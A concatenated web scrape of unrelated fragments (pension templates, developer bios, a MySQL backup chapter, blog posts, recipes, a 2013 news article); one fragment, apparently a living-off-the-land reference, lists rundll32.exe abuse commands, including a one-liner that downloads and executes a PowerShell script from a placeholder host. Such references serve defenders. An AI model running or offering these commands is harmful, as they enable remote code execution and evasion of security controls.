Private and workplace pensions
|
|
|
Get a State Pension
|
Yes
|
|
State Pension frequency
|
Paid every 4 weeks
|
|
State Pension amount
|
£122.30
|
{% endblock %}


I am a self-taught front-end web developer and programmer in progress eager to contribute to meaningful projects that improve the interaction between different communities or groups. I also have experience in financial data research of legal entities and Communication and Public Relations Studies.
Name: Cremona Matei
Location: Chiajna, Romania
E-mail: Cremona Matei
LinkedIn: Visit profile
GitHub: Visit profile
codepen: Visit profile
Personal website: Visit here
I like fado, bolero and mariachi, studying classical guitar as an amateur, Ernesto's Sabato "The Tunnel", binge-watching, reading articles on various scientific and social-cultural topics. I am interested in music, culture, social sciences and always in search of new approaches on different topics.
Windows
Linux
Microsoft Office Suite
Image editing(GIMP, Inkskape)
Advanced Internet search skills/SEO
Languages: Romanian (native), English (C2), Spanish (C2), French (B1).
Design: Graphic Design theory basics.
Music: music theory mainly applied on classical guitar.
Curiosity
Creativity
Integrity
Commitment
Visual and original thinking
HTML/HTML5
CSS/CSS3(Bootstrap 4, Bulma)
JavaScript (VanillaJS, JQuery, Processing.js, OOP, functional programming)
Python (tkinter, pandas, NumPy, Folium, basic Flask)
Git(basics)
2017-present Freelancer
Self-teaching coding, building websites and applications(landing and documentation page, survey form, clocks, weather app, wiki viewer, times tables, canvas app etc.).
2015-2016 SC Conectys Serv Telecom SRL, Bucharest, Romania/Outsourcing
Invoices check and validation for promotional discounts approval.
Auditing commercial transactions of cashiers from department stores and identifying frauds and procedural issues.
2008-2010 SC Conectys Serv Telecom SRL, Bucharest, Romania/Outsourcing
Collecting legal entity data from primary sources (Registration Authorities, Regulators, Stock Exchanges, Audited Annual Reports) and introducing them into a database according to previously well-established procedures.
2010-2015 SC Conectys Serv Telecom SRL, Bucharest, Romania/Outsourcing
Collecting legal entity data from primary sources (Registration Authorities, Regulators, Stock Exchanges, Audited Annual Reports) and introducing them into a database according to previously well-established procedures.
Participation in special projects related to hierarchy trees, ownership and board of directors of important legal entities. Constant suggestions that led to procedural changes. Training manual upgrade. Elaboration of team coordination models, personalized training materials and presentations used for team integration of new members.
1998-2002
National College "Alexandru Ioan Cuza", Focşani, Romania
Chemistry-Biology Specialization
2002-2007
Faculty of Communication and Public Relations "David Ogilvy", National School of Political and Administrative Studies, Bucharest, Romania
Communication, Public Relations, Social Sciences, Management, Marketing, Human Resources
2013-2015
Boem Club Music School/Bucharest, Romania
Classical Guitar playing abilities and music theory
Third Prize at “Musica Mundi” National Contest-Classical Guitar Adults Section, 2014
2016-present
freeCodeCamp, Codecademy, Khan Academy, Progate, Udemy & other web resources
Website and web applications building, animation, design principles, programming vision, OOP, functional programming.
Responsive Web Design certificate. Also please see portfolio and personal website.


About The Developers
Chelsea Spangler has chaired the Safety Committee of a local nonprofit and attended several Cascadia Quake preparedness trainings. In real life she constantly injures herself because she has terrible self-preservation instincts. She is irrationally terrified of earthquakes.
Joe Goodman has no background in safety related things and Cascadia Quake preparedness was literally the last thing on his mind. See, Joe is a risk taker by nature and usually pushes things to the extreme. As a result, Joe with a family of 4 is the perfect candidate to get value out of DisasterProof. It just may save some lives some day!!
Jenna Goldman is also terrified of earthquakes, and a big fan of checklists. She learned a lot while working on this project, and can’t wait to start checking off boxes on her own preparedness plan.
Scott once “popped” a can of Pringles and despite Kellog’s tenacious and composed insistence to the contrary, he was, indeed, able to stop. Whoa… He does, however, keep a can or two stashed away for the aforementioned disaster type situ-aysh.


Next PR Number
Get the number the next pull request will be assigned with for a public GitHub repository.
Get


| < Day Day Up > |
9.2 Considerations and TradeoffsWe considered calling this section "Things You Really Need To Think About" because backing up a running database is more complex than it may first appear to be. This isn't because backups are inherently difficult; it's because MySQL is a bit more complex that you might think. When it comes to actually performing the backups, you can script the process yourself, use one of the prebuilt tools, or both. It all depends on your needs. In this section, we'll examine the major decisions you'll need to make and how they influence the backup techniques you can use. Then in the next section we'll look at the most popular tools. 9.2.1 Dump or Raw Backup?One of the first decisions to make is the format of the backups you'd like to create. The result of a database dump is one or more files that contain the SQL statements (mostly INSERT and CREATE TABLE) necessary to re-create the data. Dumps are produced using mysqldump, described in more detail in Section 9.3, later in this chapter. You can perform dumps over the network so that your backups are created on a host other than your database server. It's possible to produce dumps of any MySQL table type. Having the contents of the tables as SQL files provides a lot of flexibility. If you simply need to look for a few records, you can load the file in your favorite editor or use a tool such as grep or less to locate the data. The dumped data is quite readable. Restoring a dump is easy. Because the dump file contains all the necessary information to re-create the table, you simply need to feed that file back into the mysql command-line tool. And if you need to restore only some of the records, you can directly edit the file directly or write a script to prefilter out the records you don't need. Raw backups don't provide this flexibility. You can't easily filter out records from a table when using a raw backup; you can operate only on whole tables. There are some downsides to using dumps. A dump file consumes far more disk space than the table or database it represents. Not only are there a lot of INSERT statements in the file, all numeric data (which MySQL stores quite efficiently) becomes ASCII, using quite a bit more space. Dumps are more CPU-intensive to produce, so they'll take longer than other methods. Dump files compress rather well using tools such as gzip or bzip2. Also, reloading a dump requires that MySQL spend considerable CPU time to rebuild all the indexes. Because there's often a fair amount of unused space and overhead in InnoDB's data files, you'll find that InnoDB tables often take far less space that you might expect when backed up. While dumps have a lot of advantages, the extra space, time, and CPU power they require are often not worth expending—especially as your databases get larger and larger. It's more efficient to use a raw backup technique rather than using dumps. A raw backup is a direct copy of MySQL's data files as they exist on disk. Because the records aren't converted from their native format to ASCII, raw backups are much faster and more efficient than dumps. For ISAM and MyISAM tables, this means copying the data, index, and table definition files. For BDB and InnoDB tables, it also involves preserving the transaction logs and the data. Both mysqlhotcopy and mysqlsnapshot, which we describe in some detail later, can be used to produce raw backups of ISAM and MyISAM tables. They do so by locking and flushing the tables before copying the underlying files. The tables may not be written to during the backup process. The InnoDB Hot Backup tool, also discussed later in this chapter, provides a raw backup of your InnoDB data without the need for downtime or locking. There is no equivalent tool for BDB tables. Raw backups are most often used to back up a live server. To get a consistent backup, ISAM and MyISAM tables need to be locked so that no changes can occur until the backup completes. InnoDB tables have no such restriction. Restoring a raw backup is relatively easy. For ISAM and MyISAM tables, you simply put the data files in MySQL's data directory. Unless you're using InnoDB's multiple-tablespace support in Version 4.1 or newer, InnoDB tables can't be restored individually from a raw backup because they are stored in shared tablespace files rather than individually. Instead, you'll need to shut down MySQL and restore the tablespace files. If you have the luxury of shutting down MySQL to perform backups, the backup and restore processes can be greatly simplified. In fact, that's the next decision to consider. 9.2.2 Online or Offline?Being able to shut down MySQL during backups means not having to worry about consistency problems (discussed in the next section), locking out changes from live applications, or degrading server performance. A nonrunning MySQL instance can be backed up using standard backup software. There's no danger of files changing. If MySQL isn't running, the backup process will likely be faster too; it won't be competing with MySQL for I/O and CPU cycles. If you're planning to shut down MySQL during backups, make sure that your backup software is configured to back up all of the MySQL-related data. Ideally, you'd back up the entire system, but there may be cases when that isn't feasible. Large MySQL installations often span several filesystems. The binaries may be in one place, config files in another, and the data files elsewhere. Having them on different backup schedules could leave you with a difficult problem if you need to restore just after a major upgrade. The config files may not match the data file locations, for example. 9.2.3 Table Types and ConsistencyMaintaining consistency is one of the most tricky and often overlooked issues in database backups. You need to ensure that you're getting a consistent snapshot of your data. Doing so requires an understanding of the types of tables you need to back up and how MySQL handles them. If you're using MyISAM tables, simply making copies of the various data files isn't sufficient. You must guarantee that all changes have been flushed to disk and that MySQL won't be making changes to any of the tables during the backup process. The obvious solution is to obtain a read lock on each table before it is backed up. That will prevent anyone from making changes to the table while still allowing them to read from it. That technique works well for a single table, but in a relational database, tables are often related to each other. Records inserted into one table depend on those in another. If that's not accounted for, you can end up with an inconsistent backup—records may exist in one table but have no counterparts in another. It all depends on the order in which the tables were copied and the likelihood that changes were made to one while the other was backed up. So a good backup program needs to lock groups of related tables before they are copied. Rather than deal with that complexity, the popular solutions for MySQL give you the option of either locking all tables and keeping them locked until the backup is done, or locking and backing up tables one at a time.[3] If neither option appeals to you, there's a good chance that you need to script your own solution. See Section 9.4, later in this chapter, for details.
9.2.4 Storage RequirementsThe amount of space required to store backups must factor into the decision-making process. How much room does your backup media have? Tape, CD, DVD, and hard disks all have capacity limits, costs, and lifetimes.[4]
After you've determined how much space you can afford and manage effectively, you need to consider how frequently you really need to perform backups. Do you need to back up all your data every day? Can you get by with backing up only your most active tables or databases daily and performing a full backup on the weekend? That will save a lot of space if much of your data changes infrequently. When dealing with backups, it's a good idea to consider compression. If you're backing up to a tape drive with hardware compression, it's handled for you automatically. Otherwise, you can choose any compression scheme you'd like. Most dump files and raw backups compress rather well. However, if a lot of your data is already compressed (either compressed MyISAM tables or tables with BLOB fields that contain compressed data), there will be little benefit in further compression attempts. If you have more than a few compressed MyISAM tables, not only should you avoid trying to compress them further, but you should also consider backing them up less frequently. Compressed MyISAM tables are read-only; by definition, they don't change often. You'd have to uncompress the table, make changes, and recompress it. That's rare. The final issue to think about is retention. How long do you need to keep backups around? Rather than simply throwing out backups when you begin to run out of space, it's best to plan ahead. By taking into account the amount of data you must back up, the amount of space you need, and how long you want to keep data around, you won't run into surprises. If you find yourself running out of space, consider staggering the backups that you do save. Rather than always deleting the oldest backups, you can use an alternative approach such as removing backups that fall on odd-numbered days. That would allow you to double the age of your oldest backup. 9.2.5 ReplicationIf you're using MySQL's replication features (described in Chapter 7), you can be a lot more flexible in your approach to backups. In fact, you may want to set up a slave just to simplify backups. By performing backups on a slave, you eliminate the need ever to interrupt systems that may need to make changes on the master. In a 24 x 7 x 365 operation, this is an excellent way to ensure that you always have a copy of your data on another machine (this method is commonly used at Yahoo!). And since you can switch to the slave if the master dies, it significantly reduces the downtime when something does go wrong. When backing up a slave, it's important always to save the replication files as well. That includes the master.info file, relay logs, relay index, and so on. Without them, you can't easily restore a slave that has suffered a failure. The files contain information about where the slave left off in the replication process. See Chapter 7 for more information. |
| < Day Day Up > |


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To start, select one of the scripts
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--- layout: post title: Awesome year for Mozilla team date: 2015-01-03 17:31:59.000000000 +05:30 type: post published: true status: publish categories: - Firefox tags: - Firefox - Firefox OS - Updates meta: publicize_facebook_url: https://facebook.com/521066101241445_988910594456991 _rest_api_published: '1' _rest_api_client_id: "-1" _thumbnail_id: '161' _wpas_done_5327596: '1' _publicize_done_external: a:1:{s:8:"facebook";a:1:{i:100000377806894;b:1;}} publicize_google_plus_url: https://plus.google.com/108982000212947208802/posts/MgBbmtyNYVE _wpas_done_9797179: '1' publicize_twitter_user: iamVP7 publicize_twitter_url: http://t.co/rqcPLQFXxt _wpas_done_5327584: '1' publicize_linkedin_url: https://www.linkedin.com/updates?discuss=&scope=72621861&stype=M&topic=5957196343834398720&type=U&a=bvdI _wpas_done_5327600: '1' publicize_tumblr_url: http://mobosedu.tumblr.com.tumblr.com/post/107019317465 _wpas_done_9797552: '1' _wpas_path_publicize_failure: O:13:"Keyring_Error":2:{s:16:" publicize_path_id: '' _edit_last: '33068076' author: login: viswaprasath email<EMAIL_ADDRESS>display_name: Vitchu first_name: '' last_name: '' ---
Each and every year many organisation try to goto their next level, it is mandatory to go as people who use their service awaits for awesome change. Open source organisation are no exception, Mozilla has lot of products with them which is widely used by many people for lot of reasons. This year also Mozilla team had lot of awesome updates and went to next level. For sure it is excellent year for the Mozilla team. Some of the updates would like to be shared. If you have more information please let me to know about it and help others to learn.
Firefox Accounts
Early Firefox had Firefox Sync simple version. It has been now enhanced to add some more special features called as Firefox Accounts with which we can register and share our bookmarks along different devices.
[caption id="attachment_251" align="aligncenter" width="297"] Firefox Accounts[/caption]
Cordova Apps for Firefox OS
Apache Cordova is one of the great library which is used by most of the developers to write cross platform HTML5 applications. Firefox OS teamed up with Cordova contributors and integrated Firefox OS with Cordova library so all developers can easily use them and build lot of apps for many platforms.
Australis Launch
One of the major products of Mozilla is their browser which is widely used by many people all around the world. We have seen a major redesign of Firefox Browser during April 2014. We had lot of new things in this update.
[caption id="attachment_353" align="aligncenter" width="1316"] Australis browser's tab[/caption]
Emscripten for compiling to JavaScript
Firefox 31 has gave capabilities for developers to access Emscripten. It gave lot of opportunities for game developers and also first commercial web based game has been released this year.
[embed]https://www.youtube.com/watch?v=Sfx4OA4eF-A&list=PLFlAJDI87Jg11MtnYIuyl_NWWabIB-Viw[/embed]


{% extends 'accounts/edit_profile_base.html' %}
{% load filters %}
{% block styles %}
{{ block.super }}
{% endblock %}
{% block account_content %}
If you're not sure where to start, you can get suggestions for sites to sharelist.
{% include 'accounts/edit_filterset.html' with items=whitelist type="whitelist" %}
{% endblock %}
{% block scripts %}
{{ block.super }}
{% include_script "accounts/js/whitelist" %}
{% endblock %}


Main Page Class Hierarchy Alphabetical List Compound List File List Compound Members File Members
TRect Member List
This is the complete list of members for TRect, including all inherited members.
Generated at Sat Sep 22 20:19:32 2001 for TVision by
<IP_ADDRESS> written by Dimitri van Heesch,
© 1997-2001


--- layout: post title: ! 'Ignorant or Intentional: Doctor Fee Avoidance' tags: [] status: publish type: post published: true meta: _edit_last: '1' dsq_thread_id: '17413751' ---
The thing that amazed me about the medical treatment wasn’t the quality of the doctors, nor the amazing advances in medicine, but that nobody could tell me how much the procedure would cost. It was exasperating.
Get Rich Slowly » Why Don’t Doctors Know How Much Their Services Cost?
One of my favorite blogs, "Get Rich Slowly", has a post asking why doctors don't know their own fees.
I has a near identical experience several months ago which culminated in a letter to Sen. Elizabeth Dole of North Carolina. I was exasperatingly frustrated, and still am. In fact, I asked my wife only today if she would call the doctor's offices of some appointments we have (dentist, regular check ups, etc.) in the coming weeks because I know how frustrated I get.
My situation several months ago started with a simple question..."How much is this going to cost me?" Nobody could tell me. I was sent on a wild goose chase from billing to billing, just trying to get a ballpark. I have a budget, you know. I like to plan several weeks out. I don't like getting surprises after the matter.
But I believe the medical industry pries on the very fact knowledge asymetry. Doctors, by virtue of being doctors, know more than their patients. Otherwise, why would you go see a doctor. If I can stitch up that hemoraging cut myself, I'll do it. If I can get rid of colon cancer, I would.
I don't believe it is entirely the doctors' fault. Their fee is pretty basic. It is a combination of insurance, doctors out sourcing their billing, and not enough patients demanding more transparency.


NOTE: Do ensure only one instance of this page is open!
Using qwedcxza keys with keyS keybindings.
Current direction:


About Me
Morgana Spake is a full-stack JavaScript developer with a background in Theatrical Costuming. She has always loved creating and building things (and the problem solving that is always a part of the creating), and is deeply excited about the scope that coding offers for exploring those passions. She is completely in love with the synergy between creativity and logic that exists as a part of the coding process and the joy found in collaborating with people and making things work.
Contact
Send me a message!


---
layout: post
title: Lakme eyeconic curling mascara review
tags:
- Lakme
status: publish
type: post
published: true
meta:
_edit_last: '2'
_aioseop_title: Lakme eyeconic curling mascara review
_aioseop_keywords: Lakme eyeconic curling mascara review
_yoast_wpseo_linkdex: '84'
_yoast_wpseo_focuskw: lakme eyeconic curling mascara review
_yoast_wpseo_title: Lakme eyeconic curling mascara review
_yoast_wpseo_metadesc: Lakme eyeconic curling mascara review. The latest launch
from the Lakme along with eye conic Kajal.
_yoast_wpseo_meta-robots-noindex: '0'
_yoast_wpseo_meta-robots-nofollow: '0'
_yoast_wpseo_meta-robots-adv: none
_yoast_wpseo_sitemap-include: ! '-'
_yoast_wpseo_sitemap-prio: ! '-'
_yoast_wpseo_canonical: ''
_yoast_wpseo_redirect: ''
_thumbnail_id: '5760'
_yoast_wpseo_metakeywords: ''
---
Lakme eyeconic curling mascara review
Yesterday the blog was down due to technical reasons, and my sole technical supporter(my younger bro) was enjoying some island in the Arctic Ocean but he is such a sweetheart that he took out time to clean up my mess. So I had some time for myself at night and I planned to watch Zee Awards(not much fan of awards though). It left me pretty confused with so many categories for the same award...Jury...Popular...Critics....International, as though they had to give awards to each and every person attending the function.
Coming to the most talked about Lakme release last year... The Lakme Eyeconic range. I had picked up the duo Kajal and Mascara quite sometime back and loved each of them.
Price: Rs.250
How to use:
One thing that you would notice is the packaging of the Lakme eyeconic mascara, its not a traditional round tube, but with a slight twist. The brush is curved and claims to give curled lashes.
I have been using this mascara pretty much everyday and quite happy with it. Firstly it gives very defined lashes and does not clump at all. Does not smudge and lasts me whole day. You have to carefully remove this at the end of the day and I prefer cotton soaked in olive oil, not only does it remove the mascara but also nourishes the eye area.
The only thing that did bothers me a lot is the drying time, it just takes ages(3-4 minutes) to dry which is more than sufficient to spoil the makeup.
I tried it using the way mentioned at the back of carton, to get curled lashes, but it turned out rather bad. So I use it my way, as a defining mascara.
This one is surely a hit on the Lakme list considering the price tag, but only if they could improve the drying time. I am definitely going to pick up another tube for sure.
Which is your pick from the Lakme eyeconinc range?


This is NetGrowler version 0.2.5-dev, which displays on-screen notifications of network events (AirPort connect/disconnect, IP address changes, etc.) on an OS X machine through the Growl framework.
NetGrowler is released under the MIT license, the full text of which is below.
To start using NetGrowler:
Feel free to fix these and send patches.
If you find any other problems, please let me know.
Here are some enhancements I'm thinking about:
You're welcome to send patches for new features, too.
The Growl team for providing the notification framework NetGrowler uses.
Dustin Sallings, whose NetAlert was the inspiration for this project. It displays a homegrown bezel on IP address changes.
Copyright © 2004–2007 Scott Lamb<EMAIL_ADDRESS>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


KIROV, Russia — Russia’s most prominent opposition leader was released from police custody on Friday, a day after his conviction on embezzlement charges, as the Russian authorities edged back from a decision that set off angry protests in several of Russia’s largest cities.
Judge Frees Russian Opposition Leader During Appeal
By DAVID M. HERSZENHORN
Published: July 19, 2013
Connect With Us on Twitter
Follow @nytimesworld for international breaking news and headlines.
Late on Thursday the prosecutor in Kirov, where Aleksei A. Navalny was convicted and sentenced to five years in prison, petitioned the judge to release him pending his appeal, arguing that the arrest prevented him from taking part in the Moscow mayoral election. That could keep Mr. Navalny out of prison for more than a month, perhaps temporarily neutralizing the anger at the verdict while allowing him to run for mayor of Moscow in September.
Mr. Navalny, who famously branded President Vladimir V. Putin’s United Russia political machine the “party of swindlers and thieves,” was apparently singled out by the Kremlin after having grown in stature from his beginnings as an anti-corruption blogger and leader of street protests to a populist candidate for mayor.
Asked to make a comment during the hearing Friday, Mr. Navalny, who seemed in good spirits, reflected on the bizarre nature of the prosecutor’s motion to release him.
“I request that you verify the identity of Prosecutor Sergei Bogdanov,” he said. “It’s possible that it is not Prosecutor Bogdanov but his double. Because it was namely Prosecutor Bogdanov demanded that I be arrested in the courtroom.”
Although the prosecutor’s motivation was not clear, Mr. Navalny’s supporters believed the protests had swung the balance.
As crowds of demonstrators swirled near Manezh Square in Moscow on Thursday night, Dmitri Gudkov, a political opposition leader and member of Parliament who attended Mr. Navalny’s sentencing, wrote on Twitter: “Tomorrow morning he may be released. Manezh, this is thanks to you!” That was later confirmed by Vadim Kobzev, Mr. Navalny’s lawyer, who called it “a clearly political decision.”
By early morning on Friday, as many as 200 people had been detained in Moscow, Aleksei Mayorov, a municipal security official, told Interfax. Despite tight security, protesters managed to mass at a major intersection on Thursday night and at one point the crowds blocked the main artery leading to the Kremlin gates. The police estimated the crowd at 2,000, while protesters said it was upward of 5,000.
The Navalny case has captivated Moscow. When speaking before a crowd, Mr. Navalny projects a raw charisma. He was the leader in a popular opposition movement in which huge numbers of demonstrators poured into the streets demanding the rule of law and political reform. But when Mr. Putin returned to the presidency, his crackdown managed to discourage or frighten many of Mr. Navalny’s supporters — young, professional, tech-savvy Russians — into silence.


Graduated with a degree in Physics in 2013. Worked in the oil and gas industry for nearly two years. Decided to go back to school for a Master's of Computer Science. So here I am.
I am an avid gamer, used to guild and raid lead in WoW and still play games when I find time. Love to cook and brew beer; recipes and projects can be found here. I am a growing motorcycle enthusiast and I travel whenever I am able.
Our templates are updated regularly so they don't break.
You can use this theme as is, or you can make changes!
We update dependencies to keep things fresh.
You have to make your websites with love these days!


A simple primary alert—check it out!
A simple secondary alert—check it out!
A simple success alert—check it out!
A simple danger alert—check it out!
A simple warning alert—check it out!
A simple info alert—check it out!
A simple light alert—check it out!

Hello, World!
Heading
Paragraph
This is a paragraph.
Link
This is a link!
Table
This is an example table, and this is its caption to describe the contents.
| Table heading |
Table heading |
| Table cell |
Table cell |
| Table cell |
Table cell |
List
- Lorem ipsum dolor sit amet
- Consectetur adipiscing elit
- Integer molestie lorem at massa
- Facilisis in pretium nisl aliquet


There are a lot of times when I get blocked by a simple problem and the solution is usually forgetting a simple bracket, or forgetting a bit of syntax. An example of a problem is when during the Javascript Olympics challenge that was given to me, I mistyped a word and was not passing the test. I wracked my brain for 30 minutes and then it hit me, I had mistyped a word. The thing that worked for me was to use the rubber ducky method, which is to talk through the code to figure out issues like this one I had. Through doing this I learned that there will be times when the code will not work, and the best way to fix the issue is to stop, walk through the code and the problem will seem trivial.
Code I was proud of
During the JavaScript Olympics challenge there was a problem that required a loop through to and remove the odd numbers in an array. I thought about it and decided I could do it with a one liner. I realised that I could use the filter built-in method and filter out the odd numbers putting through a statement using the modulus operator and it worked!
Pseudocode
Pseudocode is putting code in plain words. You can think of it like writing and planning the recipes before cooking. I used pseudocode a bunch of times during the coding challenges and it really helped me to write cleaner code and to write my code efficiently.
Trying Something
Trying something is exactly what is sounds like, to try something. I personally was not stumped enough to just bash away at the code and try something. I think that writing pseudocode and using other methods really helped me in avoiding this method.
Rubber Ducky Method
The rubber ducky method sounds strange but is actually a really nice method to use. I personally used it a lot and as I said before it was a method that I used quite a lot and it helped me solve some problems. The rubber ducky method got its name because programmers would talk through their code to a rubber ducky to figure out why their code might not be working.
Reading Error Messages
Reading an error message is very useful and come in handy a few times for me. Sometimes error messages can be confusing and searching them up is useful in understanding what they mean. It can be particularly useful when an error message is straight forward like telling you you missed an easy syntax.
Console.log()
This is one I use all the time. Console.logging is when you have a function that is not working and you just put a bunch of console.logs, or you can think of them like the code printing something out, and you can understand why it might not be working through the code printing at every step.
Googling
Like I mention when reading error messages, sometimes you might need to search or Google the error message. It is very handy in this regard and also when you can’t think of a certain syntax you can Google it and it will come up and also give you examples of how to use it.
Asking for help
I personally did not use this as I wasn’t stuck on a problem so much that I felt I needed to reach out. I know that I will definitely need to ask for help from my peers during my studies. I also did not use this method the same reason why I did not ask my peers for help. I feel like later on in my studies I will definitely be asking my coaches for help.
Reflection
I reflect every time I finish a challenge. I feel it is therapeutic and also allows me to maintain the skills and knowledge I gained through doing the challenges. It is useful and I feel like it is a skill and habit that I need to keep doing to be successful in life and specifically in my studies.
Finally
There are a lot of useful methods in problem solving. While I did use most of them, I think I have just scratched the surface in terms of problem solving methods. During my studies I know I will use much more and I look forward to putting them in practice.


WITNESS LIST Intergovernmental Relations Committee March 19, 1998-2:00P interim charges On: Akers, Monte (Texas Municipal League), Austin Austin, Timothy (City of Houston), Houston Brown, Lee P. (City of Houston), Houston Casto, Larry (City of Dallas), Dallas Hernandez, D'Juan (ACSI), Louisiana Hunt, Barbara (SWB Tel. Co.), Dallas Lewis, Richard (City of Houston), Houston Mosley, Kathy (City of Houston), Houston Rowling, Gwen (WESTEL), Austin Sturzl, Frank (Texas Municipal League), Austin West, Clarence (Coalition/Franchise), Houston Registering, but not testifying: On: Grohman, Paul (City of Pearland), Pearland Hernandez, Cristal (City of Fort Worth), Fort Worth Written materials submitted: On: Arnold, William (Cable/Telecom. Assn.), Austin


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S1 Fig
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Validation of observed and modeled aboveground biomass (a), ... |
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S2 Fig
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Validation of observed and modeled net ecosystem exchange at ... |
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S3 Fig
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Comparison of NPP anomaly between simulated results (CENTURY ... |
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S1 Table
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Comparisons of carbon flux in the Tibetan Plateau grassland ... |
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S1 File
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Model validations and comparisons with other studies. (PDF) |


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Edit Application
Application 1 - Edit
User Reviews
Ratings
Download Count
Select a value
1-100
101-1,000
1,001-10,000
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100,001-1,000,000
1,000,000+
Verified Developer
Paid Application


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 2-4
If it’s all about lamb for you in springtime, think again. With the popularity of goats’ milk and cheese, the by-product goat meat is now gaining traction. Combined here with the spring flavours of morel mushrooms and wild garlic, it makes a wonderful roast dinner.
Heat the butter in a pan until foaming. Place the goat in with the butter and fry for 6-10 minutes, basting all the time - cook the meat longer, if you prefer your meat more well done. After a few minutes, add the artichokes. Remove and place on a carving dish, covering loosely with foil, and rest for at least six minutes.
Blanch the morel mushrooms for ten seconds in a pan of salted boiling water. Drain thoroughly and add the morels to the pan used to cook the goat and cook for three minutes.
Add the lazy garlic, cook for 15-20 seconds, or until fragrant, and then deglaze with the sherry vinegar. Once the vinegar has evaporated, add the gravy and bring to the boil.
Add the wild garlic and season to taste with salt and pepper. Serve the meat in slices with the morels and wild garlic on the side.


{% extends 'layouts/layout-manage-access-v3b.html' %} {% block pageTitle %} Manage your NHS login {% endblock %} {% block content %}
You can change your email, password and phone number.
Currently, you do not have any people connected to your NHS login.
If you want someone to act on your behalf within a website or app, you will need to add them to your NHS login.
Add a person to your NHS login
Contact the helpdesk if you want to remove a person from your NHS login, or if you want to remove their access to a website or app.
You have asked us not to send a security code when you use NHS login on these devices.
You will need to enter your password to delete your account.


A mix of general-purpose and specialized utilities to facilitate developing on the Prolog platform. They are organized in modules and distributed in folders, as follows:
Collections of utilities, coded for both SICStus and SWI-Prolog.
Collections of stream-related utilities, coded for both SICStus and SWI-Prolog.
Collections of utilities, coded for the SICStus platform.
Collections of utilities, coded for the SWI-Prolog platform.
An extensive documentation for the collection can be found in the doc folder, accessible by browser directly from index.html. It was produced with the help of SWI-Prolog's PlDoc Source Documentation System, which extracts and organizes the documentation added to the source code, integrated with other documents.
| [dir] src |


Logistics Worldwide Express
The Choice that Delivers
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{{#with rows.[0]}} {{#each this}}
{{@key}}
{{/each}} {{/with}}
{{#each rows}}
{{#each this}}
{{this}}
{{/each}}
{{/each}}


NOTE: Input fields before and after the Dropdown exist to help functional tests that examine the focus/blur functionality of the Dropdown control.


AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
rundll32.exe AllTheThingsx64,EntryPoint
Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString("http://ip:port/");
Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Bypasses Default AppLocker Rules: False
- C:\Windows\System32\rundll32.exe
- C:\Windows\SysWOW64\rundll32.exe


July 15, 2016
Reporting & data collection.
July 16, 2016
Reporting & data collection.
July 20, 2016
Cartography.
July 23, 2016
Reporting & data collection.
July 29, 2016
Cartography.
July 29, 2016
Cartography.
August 8, 2016
Reporting, cartography & data collection.
August 17, 2016
Reporting, cartography & data collection.
August 22, 2016
Reporting, cartography & data collection.
August 31, 2016
Reporting, cartography & data collection.
September 3, 2016
Reporting, cartography & data collection.


Details for {{title}}
{{#if result}}
Album Name: {{result.title}}
Artist: {{result.artist}}
Price: {{result.price}}
Quantity: {{result.qty}}
Delete
{{else}}
{{title}} not found
{{/if}}
Back


var price1 = 5;
var price2 = 6;
var total = price1 + price2;
- For this example:
the variable "price1" is set to a value of 5.
the variable "price2" is set to a value of 6.
the "total" is set to price1 + price2, so "total" will equal 11.


This Instant Pot Butternut Squash Soup Is Everything You Love About Fall in a Recipe
by Michelle Chahine SinnoFall soups can be so satisfying for weeknight dinners and so impressive at holiday gatherings. This recipe for butternut squash soup made in an Instant Pot will impress everyone seated around your table. The best part? It's just a handful of ingredients and will be ready in 30 minutes or less depending on your chopping speed. You'll want to select a smaller squash at the market for this recipe, and I highly recommend some toasted baguette or country bread for dipping.
As an added bonus, this delicious soup itself just happens to be gluten-free (depending on the broth you use, of course) and dairy-free, and it can be made vegan (again, depending on the broth), so it's a good dish to have on hand if you're having guests over who might have restrictions. Here are all the steps to make it.
Get your ingredients ready.
Peel the butternut squash.
Using a sharp, serrated knife, cut a round off the top and the bottom of the squash, that way you can stand the squash to peel it with the knife (go slowly and watch your fingers!).
Slice it into cubes.
Once peeled, cut the squash in half. Use a spoon to scrape out the seeds from the inside. Wrap one half tightly with plastic wrap and put it in the fridge (to roast for dinner another night!). Then slice the other half into thin rounds to make it more manageable to dice. You want roughly 4 cups of squash.
Bring out that Instant Pot.
Set it to "Sauté" to heat it up (keep the lid off). Peel and chop half an onion. You want about 1 cup.
Add 2 tablespoons of oil into the pot. Once it's heated up, add the onions. Stir frequently for 3 minutes. While the onion sautés, peel and mince the garlic cloves. Add the squash and garlic to the onions, and stir for 1 minute.
Move from "Sauté" to "Pressure Cook."
Press "Cancel" to turn off the pot and pour in the broth. Cover the pot, and lock the lid. Make sure the steam release valve is set to "Sealing." Then select "Pressure Cook" (or "Manual" if you don't have that option) and set the time to 10 minutes. (Remember, at this point, the Instant Pot display will simply read "On." It will take around 10 minutes for it to reach the right pressure and heat, and then your 10-minute countdown will begin on the screen.)
